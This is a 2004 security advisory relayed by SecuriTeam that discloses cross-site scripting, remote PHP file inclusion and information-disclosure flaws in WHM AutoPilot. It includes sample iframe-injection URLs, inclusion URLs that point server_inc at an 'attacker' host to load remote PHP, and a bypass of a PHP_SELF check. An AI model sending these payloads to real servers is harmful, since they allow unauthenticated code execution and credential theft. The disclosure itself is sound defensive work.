

# [UNIX] Multiple WHM AutoPilot Vulnerabilities

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0122.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 12/29/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 29 Dec 2004 14:42:35 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Multiple WHM AutoPilot Vulnerabilities

---

## SUMMARY

"Started by a webhost looking for more out of a simple management script, Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs) setout to build an internal management system that could handle the day to day operations of a normal hosting company. The key was to remove the need to constantly watch your orders and manage the installs. Alas, <http://www.whmautopilot.com/> WHM AutoPilot was born".

Multiple security vulnerabilities have been discovered in WHM AutoPilot ranging from Cross Site Scripting to PHP Code Injection.

## DETAILS

### Cross Site Scripting:

There are a significant number of cross site scripting issues in WHM AutoPilot. Most of these are caused by calling scripts directly and specifying certain variable values yourself. Below are a few examples, though there are many more XSS holes than just the examples am showing below.

[http://path/inc/header.php?site\\_title=%3C/title%3E%3Ciframe%3E](http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E)

[http://path/admin/themes/blue/header.php?http\\_images='%3E%3Ciframe%3E](http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E)

## Securiteam: [UNIX] Multiple WHM AutoPilot Vulnerabilities

We believe that every file in the /themes/blue/ directory can be manipulated in this way, and of course this can be used to steal a users credentials or render hostile code.

### File Inclusion Vulnerability:

WHM AutoPilot is susceptible to several potentially very dangerous file include vulnerabilities. Below are several examples of how files can be included and possibly executed remotely.

[http://path/inc/header.php/step\\_one.php?server\\_inc=http://attacker/step\\_one\\_tables.php](http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php)  
[http://path/inc/step\\_one\\_tables.php?server\\_inc=http://attacker/js\\_functions.php](http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php)  
[http://path/inc/step\\_two\\_tables.php?server\\_inc=http://attacker/js\\_functions.php](http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php)

This can be used to include php scripts and possibly take control of the webserver and more. A user does not have to be logged in to exploit this vulnerability either so that just makes it even more dangerous.

Notice in the first sample, the "header.php/step\_one.php"? Well, that was done to get around a piece of code that looked something like what is pasted just below.

```
if (ereg("test.php", $PHP_SELF)==true)
{
    include $server_inc."/step_one_tables.php";
}
```

Which works because \$PHP\_SELF will return the value of "header.php/step\_one.php" expectedly. The below excerpt was taken from the PHP manual.

### "PHP\_SELF

The filename of the currently executing script, relative to the document root. For instance, \$\_SERVER['PHP\_SELF'] in a script at the address <http://example.com/test.php/foo.bar> would be /test.php/foo.bar. The \_\_FILE\_\_ constant contains the full path and filename of the current (i.e. included) file."

### Information Disclosure:

By default WHM AutoPilot is shipped with a phpinfo() script that is accessible to anyone. As far as I know WHM AutoPilot needs register globals to work, but if you want to check php settings anyway the file can be found in the root directory as "phpinfo.php".

### ADDITIONAL INFORMATION

The information has been provided by <mailto:security@gulftech.org> GulfTech Security.

The original article can be found at:

<[http://www.gulftech.org/?node=research&article\\_id=00059-12272004](http://www.gulftech.org/?node=research&article_id=00059-12272004)>  
[http://www.gulftech.org/?node=research&article\\_id=00059-12272004](http://www.gulftech.org/?node=research&article_id=00059-12272004)

## Securiteam: [UNIX] Multiple WHM AutoPilot Vulnerabilities

=====  
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====  
**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.